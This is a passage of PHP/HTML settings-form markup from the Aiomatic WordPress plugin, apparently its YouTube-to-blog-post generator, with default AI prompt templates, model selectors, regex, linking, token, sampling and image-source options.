cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Post Title. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Title Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="title_prompt" id="title_prompt2" placeholder="Enter your title prompts, one per line" class="valuesai2 cr_width_full">Generate a title for a blog post discussing the topics covered in the YouTube video titled: "%%video_title%%", in %%language%% language. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 40 and 60 characters.</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the title generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Title Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_title_model2" name="topic_title_model" class="hideAssistant2 valuesai2 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the intro of the article. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Intro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="intro_prompt" id="intro_prompt2" placeholder="Enter your intro prompts, one per line" class="valuesai2 cr_width_full">Write an introduction for a blog post which talks about the topics discussed in the YouTube video with the following title: "%%video_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. The YouTube video has the following transcript: "%%video_captions%%"</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the intro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Intro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_intro_model2" name="topic_intro_model" class="hideAssistant2 valuesai2 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Sections of the article. These will be set also as headings in the article. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Sections Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="sections_prompt" id="sections_prompt2" placeholder="Enter your sections prompts, one per line" class="valuesai2 cr_width_full">Write %%sections_count%% consecutive headings that highlight specific aspects, provide detailed insights and specific recommendations for a blog post which talks about the topics discussed in the YouTube video with the following title: "%%video_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Don't add numbers to the headings, hyphens or any types of quotes. Return only the headings list, nothing else. Extract ideas from the following video transcript: "%%video_captions%%"</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the sections generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Sections Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_sections_model2" name="topic_sections_model" class="hideAssistant2 valuesai2 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="3" cols="70" name="content_prompt" id="content_prompt2" placeholder="Enter your content prompt" class="valuesai2 cr_width_full">Write the content of a post section for the heading "%%current_section%%" in %%language%%. The title of the post is: "%%video_title%%". Don't repeat the heading in the created content. Don't add an intro or outro. Be creative and unique. Write %%paragraphs_per_section%% paragraphs in the section. Use HTML for formatting, include unnumbered lists and bold. If needed, you can use WordPress related CSS styling for the article. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Writing Style: %%writing_style%%. Tone: %%writing_tone%%. Extract content from the following video transcript: "%%video_captions%%"</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the content generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Content Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_content_model2" name="topic_content_model" class="hideAssistant2 valuesai2 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use the above content prompt to create the entire article from a single API call (checkbox checked) or to run the prompt for each section separately (checkbox unchecked). If you check this, be sure to modify the content prompt accordingly.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Use the Above Content Prompt To Create The Entire Article (Not Each Section):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="single_content_call-12" name="single_content_call" onclick="hideTOC(-1);" class="valuesai2"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Q&A of the article. You can use the following shortcodes: %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Q&A Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="qa_prompt" id="qa_prompt2" placeholder="Enter your Q&A prompts, one per line" class="valuesai2 cr_width_full">Write a Q&A for a blog post which talks about the topics discussed in the YouTube video with the following title: "%%video_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. The YouTube video has the following transcript: "%%video_captions%%"</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the Q&A generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Q&A Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_qa_model2" name="topic_qa_model" class="hideAssistant2 valuesai2 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the outro of the article. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="outro_prompt" id="outro_prompt2" placeholder="Enter your outro prompts, one per line" class="valuesai2 cr_width_full">Write an outro for a blog post which talks about the topics discussed in the YouTube video with the following title: "%%video_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. The YouTube video has the following transcript: "%%video_captions%%"</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the outro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Outro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_outro_model2" name="topic_outro_model" class="hideAssistant2 valuesai2 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the excerpt of the article. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Excerpt Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="excerpt_prompt" id="excerpt_prompt2" placeholder="Enter your excerpt prompts, one per line" class="valuesai2 cr_width_full">Write a short excerpt for a blog post which talks about the topics discussed in the YouTube video with the following title: "%%video_title%%" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 150 and 250 characters. The YouTube video has the following transcript: "%%video_captions%%"</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the excerpt generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Excerpt Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_excerpt_model2" name="topic_excerpt_model" class="hideAssistant2 valuesai2 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr><td colspan="2"> <h4><?php echo esc_html__("Advanced Prompting Options", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on prompts. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" name="strip_by_regex_prompts" id="strip_by_regex_prompts2" placeholder="regex expression" class="valuesai2 cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Prompts):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" name="replace_regex_prompts" id="replace_regex_prompts2" placeholder="regex replacement" class="valuesai2 cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select on which prompts do you want to run the above Regex. Possible values are (or any of their combinations): title, intro, sections, content, outro, excerpt", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Above Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="run_regex_on2" name="run_regex_on" type="text" list="run_regex_on_list3" class="valuesai2 coderevolution_gutenberg_input" value="content"/> <datalist id="run_regex_on_list3"> <option value="title">title</option> <option value="intro">intro</option> <option value="sections">sections</option> <option value="content">content</option> <option value="qa">Q&A</option> <option value="outro">outro</option> <option value="excerpt">excerpt</option> </datalist> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Global Prompt Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be prepended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prepend Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="global_prepend" id="global_prepend2" placeholder="Global prompt prepend text" class="valuesai2 cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be appended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Append Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="global_append" id="global_append2" placeholder="Global prompt append text" class="valuesai2 cr_width_full"></textarea> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Automatic Linking Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Automatic Linking Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="valuesai2 cr_width_full" id="link_type2" onchange="hideLinks('');" name="link_type"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="internal"><?php echo esc_html__("Internal Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="manual"><?php echo esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="mixed"><?php echo esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Automatic Links To Add To The Post Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="max_links" id="max_links2" placeholder="3-5" class="valuesai2 cr_width_full"> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manual List Of URLs (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" cols="70" name="link_list" id="link_list2" placeholder="URL list (one per line)" class="valuesai2 cr_width_full"></textarea> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Nofollow Attribute To Manual Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="link_nofollow2" name="link_nofollow" class="valuesai2"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Types Where To Generate Automatic Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="link_post_types" id="link_post_types2" placeholder="post" class="valuesai2 cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Advanced AI Text Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. The maximum amount which can be set is 4000. For other models, the maximum is 2048.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Total Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="max_tokens" id="max_tokens2" value="" placeholder="2048" class="valuesai2 cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 1000.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Prompt Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="max_seed_tokens" id="max_seed_tokens2" value="" placeholder="1000" class="valuesai2 cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of continue API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 500.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Continue Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="max_continue_tokens" id="max_continue_tokens2" value="" placeholder="500" class="valuesai2 cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Temperature:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" step="0.01" max="2" name="temperature" id="temperature2" value="" placeholder="1" class="valuesai2 cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Top_p:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="1" step="0.01" name="top_p" id="top_p2" value="" placeholder="1" class="valuesai2 cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Presence Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="-2" step="0.01" max="2" name="presence_penalty" id="presence_penalty2" value="" placeholder="0" class="valuesai2 cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Frequency Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="2" step="0.01" name="frequency_penalty" id="frequency_penalty2" value="" placeholder="0" class="valuesai2 cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Image Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the search query repetition mode, when searching royalty free images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Search Query Repetition:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="search_query_repetition2" name="search_query_repetition" class="valuesai2 cr_width_full"> <option value="0" selected><?php echo esc_html__("Use Different Search Queries For Images", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("Use The Same Search Query For Images", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable the AI Image Generator and to replace Royalty Free Images with AI generated images? If you select 'Default Featured Image List', you can add the image URLs in the 'Default Featured Image List' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Image Source:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="enable_ai_images2" onchange="hideImage('2');" name="enable_ai_images" class="valuesai2 cr_width_full"> <option value="0" selected><?php echo esc_html__("Royalty Free", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("OpenAI/AiomaticAPI", 'aiomatic-automatic-ai-content-writer');?></option> <?php if (isset($aiomatic_Main_Settings['stability_app_id']) && trim($aiomatic_Main_Settings['stability_app_id']) != '') { ?> <option value="2"><?php echo esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer');?></option> <?php } ?> </select> </td> </tr> <tr class="hideImg2 cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 